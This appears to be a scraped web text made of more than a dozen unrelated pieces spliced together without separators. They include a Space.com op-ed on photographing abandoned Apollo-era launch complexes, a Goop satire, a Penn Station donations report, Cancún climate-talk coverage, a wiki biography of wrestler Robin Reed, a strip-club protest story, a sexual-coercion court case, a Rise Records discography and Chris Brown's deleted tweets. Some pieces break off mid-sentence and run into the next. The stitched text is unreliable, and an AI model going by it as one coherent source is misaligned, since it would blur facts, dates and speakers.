So what made the nation's attention drift from what was arguably one of the greatest, most momentous technological feats in history? The achievement appears even more impressive when viewed from nearly a half-century later, when the United States would have difficulty duplicating the accomplishment of landing humans on the moon and returning safely to Earth within the nine-year window President John F. Kennedy proposed in 1961. It was this question, and others, that intrigued me when I began photographically documenting and interpreting the deactivated, abandoned and repurposed launch and test facilities that allowed the United States to reach the moon. [40 Years After Moon Landing: Why Is It So Hard to Go Back?]
Launch Complex 34; Apollo Saturn; Cape Canaveral Air Force Station, Florida; 1992 (Image: © "Abandoned in Place" Copyright 2016 by Roland Miller, University of New Mexico Press )
Finding what was lost
In 1988, I was teaching photography at nearby Brevard Community College, now Eastern Florida State College, when I first visited Launch Complex 19. I was assisting an environmental engineer in properly disposing of some old photographic chemicals on Cape Canaveral Air Force Station. When I expressed to him how exciting it was to be on Cape Canaveral, he offered to show me the Complex 19 site.
All of the manned Gemini-Titan missions were launched from Complex 19. This abandoned and deteriorating launch pad immediately struck me, and I knew I wanted to photograph the structures there. My engineer escort told me there were other abandoned pads on Cape Canaveral; little did I know at the time how many launch sites, rocket-engine test stands, wind tunnels and other facilities related to early space exploration I would visit in my quest to preserve these sites through photography.
The images produced during the nearly 25 years of this project culminated in a book, "Abandoned in Place: Preserving America's Space History" (UNM Press, 2016). Along with my photographs, there are essays by space and art experts: Pamela Melroy, former NASA astronaut and space shuttle commander; Betsy Fahlman, professor of art history at Arizona State University; Craig Covault, aerospace journalist; and Beth O'Leary, professor emeritus of archeology at New Mexico State University. These authors provide four different perspectives on the history and documentation of space exploration.
These experts all have a direct connection to space art or history in one form or another — unlike myself at the time I started this project. It would be two years from the time I first visited Complex 19 until I acquired the level of access I needed to begin this photography.
V2 Launch Complex 33; White Sands Missile Range, New Mexico; 2006 (Image: © "Abandoned in Place" Copyright 2016 by Roland Miller, University of New Mexico Press)
Not quite alone, with a camera
Running around military bases and NASA facilities with a camera to document things is not something the Air Force and NASA are accustomed to allowing. For this type of photography, I knew I would need to work slowly and with a tripod, usually early in the morning, right at sunrise. (If the Atlantic Ocean is calm enough at sunrise, the lighting effect is like having two suns.) These parameters necessitated numerous trips at odd hours of the day.
Once the Air Force permitted me to make several photography excursions on the station, I was then able to show the work from these efforts to Air Force and NASA officials. They then understood the purpose of my work and were supportive in allowing me access and supplying public affairs or security escorts.
Some might imagine that "Abandoned in Place" is an indictment of the Air Force and NASA for failing to preserve these celebrated launch sites. The opposite is true. Without the cooperation of the Air Force, Army, NASA and other commercial space contractors, none of this photographic work preserving these launch and test facilities would have been possible. It is important to remember that NASA's charge is not to preserve history; NASA's mission is to make history.
Titan II ICBM Silo 395-C; Vandenberg Air Force Base, California; 1995 (Image: © "Abandoned in Place" Copyright 2016 by Roland Miller, University of New Mexico Press)
To preserve, or not
It was clear from my first visit that the abandoned steel and concrete structures could not stand up to harsh coastal conditions for very long. Preventing the launch umbilical towers, mobile service structures and other steel structures on active pads from corroding is a challenge. On several occasions, I photographed on Launch Complex 39A's Fixed Service Structure while other levels of the tower were being painted. At the time, this was an active pad for launching space shuttles. I realized it is difficult to maintain the working launch facilities, let alone the deactivated complexes.
There is no simple, affordable method of keeping these historic launch pads and their steel structures from disintegrating. Along with the decay, a number of the older launch towers were covered with paint that contained lead and other toxic chemicals. The coastal climate, coupled with the harsh Florida sunlight, caused these paints to oxidize and thereby contaminate the soil surrounding the pads. This issue necessitated the demolition of towers and other steel structures that were covered in contaminated paint.
Also prompting demolition is the rare real estate on which the sites lie, which is the reason Cape Canaveral was selected for launching rockets in the first place. Cape Canaveral's proximity to the Atlantic Ocean allows for a large, over-water downrange area, which can accommodate misguided and exploding rockets without threatening populated areas.
Preserving the historic sites reduces the opportunity to reuse these valuable launch sites. A number of the deactivated launch complexes have already been modified for new rocket programs. Complex 37, which was originally used to test unmanned Saturn I and IB rockets, was repurposed as a launch pad for the Delta IV rocket. Former Titan Complex 40 is now the launch site for the SpaceX Falcon 9 rocket. Former Atlas Launch Complex 13 is now "Landing Zone 1." It is used for landing the Falcon 9's first stage.
Generally speaking, if I had to choose between preserving historic launch facilities and replacing them with new rocket programs, I'd pick the latter. The exception I would make is Launch Complex 34, site of the first successful Apollo mission launch, Apollo 7. Complex 34 is also the site of the Apollo 1 fire in 1967. The significance of this site in space exploration history, coupled with the notable remains of the rocket launch stand, make this a site worth protecting.
The importance of documenting, interpreting and photographically preserving these historic locations comes from their obvious role in history and the unique engineering that went into their creation. Part of my interest also stemmed from the beauty and unique construction of these space-race/Cold War relics. Photographically speaking, these launch sites were "target-rich environments."
Maybe more important is the effect these sites have on the individual. Much like viewing a Civil War battlefield, the experience of viewing the aftermath of sites where history was made is inspiring, even poignant. The United States needs that inspiration at a time in the country when its leadership in math, science and engineering education is slipping. According to a 2015 Pew Research Center report, which is based on the 2012 Program for International Student Assessment, the average math scores of 15-year-old students in the United States were "significantly lower" than 28 out of 64 countries examined. The U.S. students also scored "significantly lower" in science than did students in 21 other countries. These rankings put the United States soundly in the middle of the pack, not a position for which the country should strive.
It should then be no surprise that interest in science and engineering has diminished in U.S. schools and colleges, as the country de-emphasizes and defunds the very institutions and programs that would inspire, attract and employ graduates in those fields. Yet, at the same time, a record number of people (18,300) have applied to be selected for the next class of astronauts. That's more than twice the next largest applicant pool. There is an obvious disconnect between what the United States is doing to support space exploration and what the country wants from the endeavor.
Inspiring space
Re-igniting interest in human space exploration through the physical remains of past glory could be an important catalyst for renewing support for extraorbital exploration. Most of the aerospace engineers, scientists and technicians I meet tell me they were inspired to enter engineering and science fields by the Apollo and space shuttle programs. This tells me that it is logical to assume that near- and deep-space exploration by humans would again inspire people to study and work in the technical fields that involve those areas of discovery.
If you're a topical expert — researcher, business leader, author or innovator — and would like to contribute an op-ed piece, email us here (Image: © SPACE.com)
The United States has reached a point where the costs, both economic and political, have begun to erode the country's determination and effort in human space exploration. It is difficult to put a dollar amount on the return on investment from manned space exploration, simply because the effects are so widespread and far-reaching.
Commercial space transportation seems viable in the near future, but space transportation is different from space exploration. This leaves a choice between proceeding on the same erratic course of space exploration as in the recent past, based on political winds and economic returns, or of seeing the purpose of exploration in the knowledge gained and the dreams sown in young minds and hearts. The spin-off from the latter could help the United States regain its position leading the world in science.
The work I have done documenting and interpreting these abandoned facilities, which were once the focus of the world's attention, has led me to hope that this current lapse in extraorbital space exploration is only a temporary phase. In documenting the ruins and repurposed space launch and research facilities in the book, I find hope for a return to exploration for knowledge's sake, of discovery designed merely to seek what is out there, to take humankind back to the moon, on to Mars and beyond. I see evidence of the process and rewards of great achievement. Ray Bradbury put it best with the final lines of his third "Abandon in Place" elegy:
"Old ghosts of rocketmen, arise.
Fling up your ships, your souls, your flesh, your blood,
Your blinding dreams
To fill, refill, and fill again
Tomorrow and tomorrow and tomorrow's
Promised and re-promised
Skies."
(Copyright 1981 by Ray Bradbury)
Excerpts from Ray Bradbury’s "Abandon in Place" are copyright 1981 by Ray Bradbury and used with the permission of Don Congdon Associates, Inc. as agents for Ray Bradbury Literary Works LLC.
Follow all of the Expert Voices issues and debates — and become part of the discussion — on Facebook, Twitter and Google+. The views expressed are those of the author and do not necessarily reflect the views of the publisher. This version of the article was originally published on Space.com.Season’s greetings! Goop’s annual gift guide is out and, with $250 Christian Louboutin baby shoes and a trip to something called the ‘The Integratron’, there’s something for everyone
To America, where Gwyneth Paltrow’s enchanted mirror is the bearer of bad tidings. Now that Kellyanne Conway has been appointed “to oversee White House efforts to combat the opioid overdose epidemic”, Gwyneth is only the second-least qualified medical expert of them all. Can she claw it back? Can Gwyneth get back on the top spot without resorting to poison-assisted homicide?
Only time will show, but God love her for coming out of the traps so quickly and having a go. “In most countries outside of the US,” Gwyneth’s Goop account tweeted on Thursday, “homeopathics are the first line of defence against ailments.”
Like me, you will admire how Gwyneth just refuses to be held back by facts. I know the fashionable term is “wellness”, but you may eventually decide you prefer the classification “alt-science”. Naturally, though, there may be a few questions some will want to put to Gwyneth on the basis of her homeopathy claim. For instance: which countries? And: this? THIS is your critique of US healthcare?
Still, let’s not spoil the fun by getting bogged down in peer-reviewed arguments about the magic energy properties of water, or whatever it is. Let’s just accept that Gwyneth belongs in |
It’s obvious to anyone that the status quo at Penn Station is broken and riders are suffering for it — nonsense conspiracy theories help no one here."
Vornado did not respond to International Business Times’ request for comment.
In recent years, Penn Station has been beset by a variety of service disruptions, delays and even derailments. The station is in need of extensive repairs that will necessitate shutdowns and could lead to what Cuomo called a "summer of hell" for commuters. Many of the problems are a result of growing ridership that has far outpaced what the station’s builders foresaw when they completed the facility in 1963. Penn Station now services double the number of riders it was originally designed to accommodate.
Earlier this month, Cuomo penned a joint letter with New Jersey Gov. Chris Christie to Amtrak’s CEO saying “a professional, qualified, private station operator must be brought in” to manage the public facility. Less than two weeks later, Cuomo asked Trump to provide federal money to help fund repairs, calling the state of affairs at the station an "emergency situation."
Cash To Cuomo From Vornado CEO As Firm Has Sought Redevelopment Plan
Vornado — which has invested with Trump’s son-in-law Jared Kushner’s real estate empire —owns millions of square feet of office space around Penn Station and has for years pushed for a redevelopment plan for the beleaguered facility. Amid that push, Roth and his wife, Daryl, made large donations to Cuomo's 2018 reelection campaign.
According to state campaign finance records, the couple gave $95,000 to Cuomo’s campaign on Dec. 1, 2016. Those donations came a few months after Cuomo selected Vornado as one of the firms to develop a separate, new 255,000-square-foot train hall to house passenger facilities for the Long Island Rail Road and Amtrak, according to a Cuomo press release.
The Roths’ $95,000 contribution to Cuomo was a fraction of the more than $344,000 the pair has given to Cuomo’s campaigns since 2007 — with three-quarters of that cash haul coming since Cuomo was sworn in as governor in 2011.
Roth is not the first Cuomo appointee with links to Vornado. In 2015, Cuomo appointed Michael Fascitelli as a commissioner of the Port Authority of New York and New Jersey. He had previously been a partner at Goldman Sachs and a president and CEO of Vornado Realty Trust and remains a trustee of that entity.
“I’m Working With Steve Roth”
While Cuomo has tabbed Roth to craft a new Penn Station redevelopment plan for the same neighborhood Vornado invests in, Roth is also helping spearhead Trump’s infrastructure privatization plan.
Trump told the Wall Street Journal in January that he would be working with Roth on infrastructure policy and Roth attended a White House meeting in March about that policy. Trump most recently touted Roth’s infrastructure policy work for the administration in an April speech.
"I’m working with Steve Roth and with [real estate investor] Richard LeFrak — two friends of mine that are very good builders," Trump said. "They’re great builders. And they know to get things done. They know how to cut red tape. We’re going to give them the advantage of having what we have."The “gigatonne gap” looms large as UN climate talks in Cancún, Mexico, enter their final days without new commitments from big polluters to cut their carbon dioxide emissions. A five to nine-gigatonne gap, to be precise. That is the gap between what has been pledged and what is needed to avoid dangerous global warming.
To keep the world on track to cap global warming at under 2 °C by mid-century, rising CO 2 emissions should be kept below 44 gigatonnes a year in 2020, more than a third higher than today. But the UN Environment Programme warned here today that current national pledges would leave 2020 emissions anywhere between 5 and 9 gigatonnes too high.
The 9-gigatonne gap will arise “if countries follow their lowest ambitions and [carbon] accounting rules are lax,” according to the UNEP Emissions Gap report.
In either case, “the best science we have suggests that all chances of staying below 2 °C of warming would be gone,” said UNEP director Achim Steiner. Two degrees is widely seen as a threshold for dangerous climate change.
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Tallied pledges
The report analyses current pledges, as made by major nations in the Copenhagen Accord, agreed at abortive UN talks last year. They include a 20 per cent cut from the European Union by 2020, 17 per cent from the US and a 45 per cent improvement in the “carbon efficiency” of the Chinese economy.
In nine days of talks here, no nations have raised their offers, increasing fears that talks could collapse in acrimony either this year or – more likely – at next year’s meeting in Durban, South Africa.
How might the gap be bridged? Developing countries are demanding higher emissions cuts by industrialised countries – they cite 40 to 50 per cent by 2020. The EU says it would go to 30 per cent if other nations made similar promises.That would go a long way to bridging the gigatonne gap, according to the EU climate commissioner Connie Hedegaard.
Entrenched
But the omens are not good. Japan has joined in the US in saying that it is not interested in joining a second era of legally binding targets after the current Kyoto Protocol “compliance period” expires at the end of 2012. British environment secretary Chris Huhne is leading side-negotiations to agree ways of extending the Kyoto Protocol, but many see that outcome as increasingly unlikely.
Elliot Diringer the Pew Center for Global Climate Change, a US-based think tank, echoed a widely held view among US observers that governments are not going to raise their numbers beyond the promises made in Copenhagen – whatever the science says. “The numbers are not under negotiation,” he said on Monday. He added that he did not expect a deal on any legally binding targets in Durban. “The politicians are not ready. If they try and set a new deadline, it will be Copenhagen all over again.”
Methane
If governments will not sign up to greater cuts than they have already, could other measures bridge the emissions gap? The smart money is on new initiatives to curb emissions of greenhouse gases other than CO 2. They include methane, tropospheric ozone (a byproduct of vehicle emissions) and black carbon (from open fires). Plans to cut methane emissions are now being put together by the Methane Blue Ribbon Panel, a group of experts headed by the former chairman of the Intergovernmental Panel on Climate Change, Bob Watson.
The US is keen to pursue non-CO 2 options. In this, at least, they are joined by poorer states: in side events here, Micronesia, a nation of low-lying Pacific atolls threatened by sea level rise, argued that “addressing short-lived pollutants can reduce warming significantly and better protect the most vulnerable human populations”.
Methane is a potent greenhouse gas, so emissions cuts could provide a “quick hit” against global warming. But the gas only stays in the atmosphere for around a decade before it degrades. They do not accumulate in the way that CO 2 does and so the benefits of curbing them are transitory. It would only delay the need for even tougher action on CO 2.
British climate ambassador John Ashton argued this week against being diverted by plan Bs. At the end of the day “there is no alternative to a global, legally binding agreement” on the main greenhouse gas, carbon dioxide.You may think you've had an epic night on the town. You may think your "woken up with a hangover" story hands down trumps all other "woken up with a hangover" stories.
But your story is nothing compared to Jiang Wu's.
Wu woke up after a big night in Qingdao, eastern China, in a sealed shipping container that was one hour away from a two-week-long journey to Los Angeles.
He had mistaken the container for his B&B and had to phone the police to get out.
"The container was sealed and he couldn't get out so he called everyone he knew for help and called us too," a police spokesman said.
"His problem was, though, that he couldn't tell us which container he was in and there were thousands of them stacked on top of each other."
Police eventually found him in a container stacked 18 metres in the air, following the hammering sounds he made.Robin Reed (October 20, 1899 – December 20, 1978) is considered among the greatest amateur wrestlers in the history of the sport.[peacock term] Throughout his career he never lost a wrestling match, official or unofficial, to anyone at any weight class. He was known for winning a gold medal at the 1924 Summer Olympics,[1] leading Oregon State to its first team national championship, and for consistently wrestling in the 170 pound weight division despite his actual weight being close to 140.
Early years [ edit ]
Reed was born in Pettigrew, Arkansas, but first took up wrestling at Portland's Franklin High School, where he took the class in order to get out of having to take gym. He is quoted as saying: "I needed gymnasium credits to graduate from high school, but I didn't want any gym because I was already getting all the exercise I needed operating an air hammer at the shipyards. I was only 125 pounds and could barely hold onto that air hammer, so I was getting all the gym I needed." He learned quickly and dominated the competition, going undefeated throughout his time there.
After high school he attended Oregon State University (then known as Oregon Agricultural College), and won every match he was in, winning the 125-pound National AAU championship in 1921 and the 135-pound championship in 1922 and 1924 (He failed to win a title in 1923, despite winning every match he was in). While still a student at Oregon State, he coached the local Corvallis High School wrestling team to win the state championship.
Olympics [ edit ]
While still attending Oregon State, Robin participated in the 1924 Pacific Northwest Olympic team trials. He entered the 145.5, 158.5, 174.0, and 192.0 pound weight classes, and won them all. He made the Olympic team, and on the boat trip to Europe he had unofficial matches against every other member of the United States team. It was widely known that he had the ability to pin every member of the team[weasel words], and on this occasion he nearly accomplished that, pinning 12 out the 13 of them, all but the person who would become the gold medalist at heavyweight that year, Harry Steel (He still beat him, however, despite not being able to pin him).[citation needed]
While hitch-hiking from his home in Oregon to New York City in 1924 to join the U. S. Olympic team, Reed stopped at Iowa State University to work out, but was refused permission. He asked the coach if he could work out if he first pinned every member of the wrestling team. The coach agreed. Reed proceeded to pin every Iowa State wrestler and he got his workout.[citation needed]
During practice for the Olympics in Paris, Reed bet he could pin Harry Steel, the U. S. heavyweight champion and eventual gold medal winner in that weight class. He not only pinned Steel, but he did it five times in fifteen minutes.[citation needed]
At the Olympics, he entered the 134.5 pound weight class (the second lowest) and pinned every single one of his opponents, including fellow Oregon State teammate Chester Newton in the finals. The United States team ended up getting gold in 3 other weight categories, including heavyweight, so it is widely believed that if the rules had permitted it, Robin could have won the gold medal in every weight class.
Retirement [ edit ]
Upon his return from the Olympics, Robin retired his amateur wrestling career having never lost a match- a feat unmatched by anyone else in the history of the sport other than Japan's Osamu Watanabe
While still a student there, he became coach of the Oregon State varsity team, and led them to win the national AAU championship in 1926, Oregon State's first team national championship in any sport.
In late 1926 he became a professional wrestler, a career he would follow for 10 years. In 1936, he went into the real estate business and built a house in Lincoln City, on the Oregon Coast, where he would reside until he died in 1978.
In Dec 1936, Reed survived a suicide attempt following a lawsuit from his ex-wife.[2]
He was inducted into the National Wrestling Hall of Fame in 1978.WARSAW, Ohio -- Strippers dressed in bikinis sunbathe in lawn chairs, their backs turned toward the gray clapboard church where men in ties and women in full-length skirts flock to Sunday morning services.
The strippers, fueled by Cheetos and nicotine, are protesting a fundamental Christian church whose Bible-brandishing congregants have picketed the club where they work. The dancers roll up with signs carrying messages adapted from Scripture, such as "Do unto others as you would have done unto you," to counter church members who for four years have photographed license plates of patrons and asked them if their mothers and wives know their whereabouts.
The dueling demonstrations play out in central Ohio, where nine miles of cornfields and Amish-buggy crossing signs separate The Fox Hole strip club from New Beginnings Ministries.
Club owner Tommy George met with the preacher and offered to call off his not-quite-nude crew from their three-month-long protest if the church responds in kind. But pastor Bill Dunfee believes that a higher power has tasked him with shutting down the strip club.
"As a Christian community, we cannot share territory with the devil," Dunfee said. "Light and darkness cannot exist together, so The Fox Hole has got to go."
New Beginnings is one of four churches in this one-traffic-light village of 900 people, 60 miles outside Columbus. There's one gas station and a sit-down restaurant that serves country staples like mashed potatoes with gravy and Salisbury steak.
On Sunday, four of The Fox Hole's seven strippers and more than a dozen supporters garnered both scorn and compassion from churchgoers -- and quite a few honks from pickup trucks and other passing vehicles.
One woman offered her skills as a hair dresser to the dancers: "If you or your kids ever need a haircut, give me a holler." Another woman from the church waited on the protesters with plates of noodles and chocolate cake.
Laura Meske -- known as Lola, stage age 36 but really 42 -- hid behind a sign proclaiming, "Jesus loves the children of the world!" as the preacher extended his hand for a shake.
Two nights earlier, Dunfee and more than a dozen churchgoers stood outside the club, one of them calling out Meske's stripper name.
"He who casts the first stone...," Meske said Sunday.
The pastor cut her off and repeated, "Lola, Lord bless you."
"Everybody has sinned, and that doesn't mean I'm not gonna get into heaven," she said, the stud piercing in her chin shimmering in the sunlight. "I believe in Jesus. I don't believe what they preach. They preach hate."
Debi Durr, who attends the church, disagreed. "You don't stand up there for four years for hate. That's not hate. That's love," she said. Durr left Meske with a copy of Jeremiah 3:13 -- a Bible passage that urges sinners to acknowledge their guilt.
Inside the church, voices from the 121 congregants seemed to float to the cedar rafters as they sang lyrics projected on a screen. Outside, a man strummed a guitar and sang, "God forbid you ever had to walk a mile in her shoes."
Dunfee has offered to help the strippers pay for food, rent, utilities and gas if they leave The Fox Hole. But many of the women say their jobs are only a stopover on the way to work in cosmetology or the medical field -- a meal ticket that shelters them from another stigma: welfare.
"No little girl is growing up like, `I wanna do a pole trick,"' said Anny Donewald, a former stripper who lives in Grand Rapids, Mich., and ministers to dancers, prostitutes and porn stars.
She and other Christian groups that work with women in the adult entertainment industry have criticized Dunfee's methods of ministry as a means of putting the strippers on the defensive instead of showing support.
"I never saw Jesus with a picket sign," Donewald said.
Community advocacy groups, including Citizens for Community Values in Cincinnati, support Dunfee's protests. But the group's president, Phil Burress, said the strip club has a right to be there.
"It's a legal business whether he likes it or I like it or not," Burress said.
The club operates in a white plywood box of a building. Beer cans and a dollar bill peaked out from the grass like Easter eggs last Sunday.
The Fox Hole encourages customers to check out its $30 private dance special, promoting it on the kind of sign convenience stores use to advertise cheap milk and cigarettes. Out back, letters on a bulletin board have faded away so that "No touching" now reads "ouch."
It's here where dancers strip down to panties and pasties for cash. Meske -- a tattooed mother of four -- said she made $30 instead of a couple hundred dollars last Friday with the protesters outside.
"I'm not the most beautiful woman in the world," she said. "I go out there and I try to make my money."
A few houses and a ribs joint called Peggy Sue's separate the club from another white building, a church where some of the strippers donate blood during drives for the American Red Cross.
"I got a church 900 feet down the street that causes me no problems," club owner George said. "And I got this moron nine miles down the street that causes me more headaches."
Rae Anderson, who heads New Castle Ministries with her husband, says her church believes Dunfee is doing what the Lord called him to do, but her parish takes a different approach.
"You can share the truth, but you can't make anyone believe what you believe."AUGUST 27--A North Dakota man is facing felony charges for hatching the most harebrained scheme to get his ex-girlfriend to have sex with him.
Ryne Anderson, 18, dated the woman for “a period of time and then broke up,” according to a Grand Forks Police Department report. Over the subsequent months he told the woman, now 18, that his “life was in danger and that he needed help.” He claimed that drug dealers were watching both of them and that their lives were in danger unless “certain demands weren’t met within a specific timeframe.”
“It turned out that some of the demands were sexual in nature,” reported cop Travis Jacobson, who added that the victim was told that if “she didn’t go through with these demands that people would be hurt or even killed, including her and her family.”
Police and court documents provide no insight into why these purported drug dealers would want Anderson and the woman, who was 17 at the time, to engage in sexual activity (or how the victim fell for what seems to be a preposterous story). Anderson is pictured in the mug shot at left.
In February, Anderson arrived at the teen’s house and “stated that they better do what they needed to do.” The pair then engaged in sexual activity, which resulted in the filing of felony counts charging Anderson with sexual imposition and terrorizing.
Since the sexual encounter occurred when Anderson was 17, he was originally charged as a juvenile. But the case against him was transferred last month to District Court, where he will now be tried as an adult.
Anderson, who starred on his high school's baseball team, is scheduled for a September 27 preliminary hearing. (3 pages)In order to keep a tab on the increasing menace of radicalisation of youth by terrorist organisations through social media and other online platforms, National Investigation Agency (NIA) has formed a special cell.
According to a report published in a leading daily, the special cell is equipped with state of the art software tools to single out conversations in online chatter, which may be specially significant from terrorism or radicalisation point of view. Until now, only intelligence agencies like the Research and Analysis Wing (RA&W) and Intelligence Bureau (IB) were in possession of such tool. But now NIA is also armed with similar surveillance software. It has been a long standing demand of the agency to cultivate its own intelligence capabilities so that it can generate information regarding its ongoing investigations.
A group of Indians left to fight for ISIS after getting radicalised through social media. One of the most vocal proponents of ISIS in the digital space, Shami Witness was found out to be a guy working in a software company in Bengaluru. Earlier too there have been several instances where Indian Mujahideen and Lashkar-e-Taiba have used the internet to attract youth cadres in their ranks. Thus, NIA is looking to keep a tab on such conversations but in the process personal privacy will unfortunately be a cruel martyr.
According to NIA officials, terrorists have long changed their modus operandi. They no longer operate using phones and are often taking recourse in online mediums to pass on their information. Hence, NIA is looking to up the ante so that they can beat terrorists at their own game. However, terrorists are also no longer merely using plain messages. Often highly encrypted messages are passed, cryptic codes exchanged. So analysing the data to reach to the proper conclusion is the most key element. It is like obtaining a needle from a haystack and NIA is hoping that it will be able to get lucky on occasions to aid their investigations.Rise Records is an American major record label currently based in Beaverton, Oregon, mainly focusing on heavy metal and punk rock music artists.
History [ edit ]
Rise was founded in 1991 by Craig Ericson in Nevada City, California. He released a small number of 7" records before putting the label on hiatus to attend college.[3] Ericson didn't release anything further until 1999, after moving to Portland, Oregon.[3] He began issuing small-print 7" records, and his first CD release came in 2000, from the group One Last Thing. The label gave a strong foundation to bands Anatomy of a Ghost, Ever We Fall (who later signed with Hopeless) and Fear Before the March of Flames (who signed to Equal Vision). Later signees (e.g. Drop Dead, Gorgeous, Breathe Carolina and The Devil Wears Prada), gained considerable popularity while with Rise, and moved on to what were larger labels at the time (Interscope, Fearless and Ferret, respectively). Rise has also signed some veteran bands, including Hot Water Music, Bouncing Souls, The Bled, Bleeding Through and From First To Last.
Rise Records' releases are distributed in the U.S. by ADA and BMG. In July 2013, the company moved from Portland to neighboring Beaverton, Oregon.[4] The label has a distribution deal with Alternative Distribution Alliance,[5] the indie distributor owned by Warner Music Group and directly in Europe and Australia with Warner Music and BMG.[6]
On September 9, Australian label UNFD announced a distribution partnership with Rise.[7] On May 18, 2015, BMG announced the acquisition of the label. Rise will maintain its headquarters and Ericson will remain in charge. BMG will help with back office operations and provide Rise a more international reach.[8] On December 8th, 2017, Craig Ericson announced his departure from the label.[9]
Artists [ edit ]
Current artists [ edit ]
Former artists [ edit ]
UNFD artists [ edit ]
Discography [ edit ]
Up to Here - Machine
Slydog - Demo
Tenpin - 40 Hour Bus Ride
Divit / Lonely Kings - Split 12"
The Secludes - Blue
One Last Thing - The Foster Portfolio (August 14, 2001)
(August 14, 2001) Divit / Everyday Victory - Split CD (August 14, 2001)
(August 14, 2001) Longshot - One Small Voice (August 14, 2001)
(August 14, 2001) One Last Thing / Crosstide - Split CD (October 16, 2001)
(October 16, 2001) Rise Records 10 - Compilation
Watch It Burn - Radio Pollution (October 16, 2001)
(October 16, 2001) Day of Less / The Great Anti-Listen - Split CD (December 11, 2001)
(December 11, 2001) K Through Six - What Once Was and How It Could Be (November 6, 2001)
(November 6, 2001) Day of Less - Ad Hoc (June 4, 2002)
(June 4, 2002) The 6-Minute Heartstop - The 6-Minute Heartstop (December 11, 2001)
(December 11, 2001) Crosstide - Seventeen Nautical Miles (June 4, 2002)
(June 4, 2002) Dualesc - Through the Floods, Not With Them (June 4, 2002)
(June 4, 2002) The 6-Minute Heartstop - 321 Odds (June 4, 2002)
(June 4, 2002) Highwire Days - Hell from the Eyes Up (September 10, 2002)
(September 10, 2002) The Solo Project - Bend/Break (November 26, 2002)
(November 26, 2002) Anatomy of a Ghost - Evanescence (October 21, 2003)
(October 21, 2003) Thirty Two Frames - Thirty Two Frames
Clarity Process - Fluid (June 16, 1999)
(June 16, 1999) Fear Before the March of Flames - Odd How People Shake (April 6. 2004)
(April 6. 2004) Rise Records 25 - Compilation
Lonely Kings - Ides of March (May 19, 1999)
(May 19, 1999) Everyday Victory - Oceans and Airplanes (November 3, 1999)
(November 3, 1999) Ever We Fall - Endura
Farewell My Enemy - Casting for Funerals
Small Towns Burn a Little Slower - Small Towns Burn a Little Slower
Orange Island - The Morning After
Clarity Process - Killing the Precedent
Still Life Projector - The Dance Riot
Five Minute Ride - The World Needs No Convincing of All That Is Missing
Life Before This - Life Before This
Coretta Scott - Scream and Shout
Paint by Numbers - Plastic
Tides of Man - Empire Theory (August 4, 2009)
(August 4, 2009) Tides of Man - Dreamhouse
Pmtoday - In Medias Res
See also [ edit ]Dave Matthews Band to Release _Live Trax 27_
The 27th installment in Dave Matthews Band’s Live Trax series will come in the form of the October 14, 2010 show at Luna Park in Buenos Aires, Argentina. Thanks to some internet sleuthing, fans uncovered the listing on MusicToday’s website. As you may recall, Phish fans are fairly adept at this as well. No release date is known yet, but stay tuned to the band’s social channels for the announcement.
This show took place during a short stint in South America before DMB’s highly regarded U.S. Fall Tour in November. While this show may seem standard compared to the stellar performances delivered in 2010, it still boasts some classic DMB hits like “Two Step,” “Ants Marching,” “#41” and “Bartender” as well as newer material from 2009’s Big Whiskey and the GrooGrux King.
Full setlist via DMBAlmanac:
October 14, 2010 Luna Park Buenos Aires, Argentina
Squirm
Big Eyed Fish »
Bartender
Proudest Monkey »
Satellite
Grey Street
Seven
Crush
Stay or Leave
Gravedigger
#41
Don’t Drink the Water
Why I Am
Jimi Thing
Everyday
You & Me
Time Bomb »
Two Step
—————————————————-
Some Devil
Ants MarchingThis mod is made for players to go to ocean monuments much easier without going through the hassle of exploring. The mod was created for the Requiem Experimental 1.9.4 pack, but can be used by any mod pack that fit in the guidelines at the bottom.
To go create an ocean monument dimension, you will need to craft an ocean monument teleporter. Each teleporter created will lead to a different dimension.
Standing above the teleporter will bring you to an ocean monument dimension. Here, you will find an ocean monument looking exactly how it would if you found it by exploring.
The dimension is only stable due to the elder guardians. Once all 3 elder guardians are killed, the world will start to corrupt and the entrance to the dimension will close. Dying in a corrupted dimension will guarantee in loss of items, so be careful.
After you have grabbed all of your loot that you came for, you can leave by going through the portal that is on the platform you spawned in.
Corruption blocks can be harvested to gather corrupted slime. Corrupted slime can be thrown like a snowball and will give entities poison and players hunger. If corrupted slime hits gravel, the gravel will turn to corrupted blocks. Four corrupted slimed can be crafted to a corrupted block and visa versa. Corrupted blocks do not do anything and exist only as aesthetics and a storage for corrupted slime.
MODPACKS:
Go ahead, just give credit."RIP Chris Brown" is currently trending worldwide on Twitter, but make no mistake: the 22-year-old R&B singer is still very much alive.
Brown may have effectively shot himself in the foot when he decided to lash out at those who weren't pleased that he won a Grammy Award and was invited to perform at the show. That virtual bullet wound seems to have killed him -- at least on Twitter.
"Strange how we pick and choose who to hate. Let me ask u this," he began. "Our society is full of rappers (which I listen to) who have sold drugs (poisoning),.... But yet we glorify them and imitate everything they do. Then right before the worlds eyes a man shows how he can make a Big mistake and learn from it, but still has to deal with day to day hatred! You guys love to hate!!! But guess what???" HATE ALL U WANT BECUZ I GOT A GRAMMY. Now! That's the ultimate FUCK OFF."
Brown or his handlers quickly deleted the tweets, which have turned into a public relations nightmare. Currently, there are only 10 tweets left on his entire account and this morning he wrote, "Be HAPPY."
Even though the Recording Academy decided to honor Brown with Best R&B Album, Twitter users have made it loud and clear they don't want to forgive him for assaulting ex-girlfriend Rihanna in 2009.
"RIP Chris Brown is absolutely hilarious to me!!! I died for 10 minutes. Maybe he should stop hitting girls and Twitter wouldn't kill him lol," wrote one user. While another asked: "Does the 'RIP' in the trending 'RIP Chris Brown' stand for'recklessly injure people'?"
The public's outrage isn't just because he left Rihanna black and blue and bleeding -- that shock has somehow faded with time. It's the fact that Brown hasn't seemed to learn his lesson.
Brown pled guilty to the assault charges and served no jail time. Instead he was sentenced to five years' probation, 52 weeks of domestic violence counseling and 1,400 hours of labor-based community service -- but it's his assault on the public, with his outbursts and brazen disrespect, that exudes the impression that he hasn't changed.
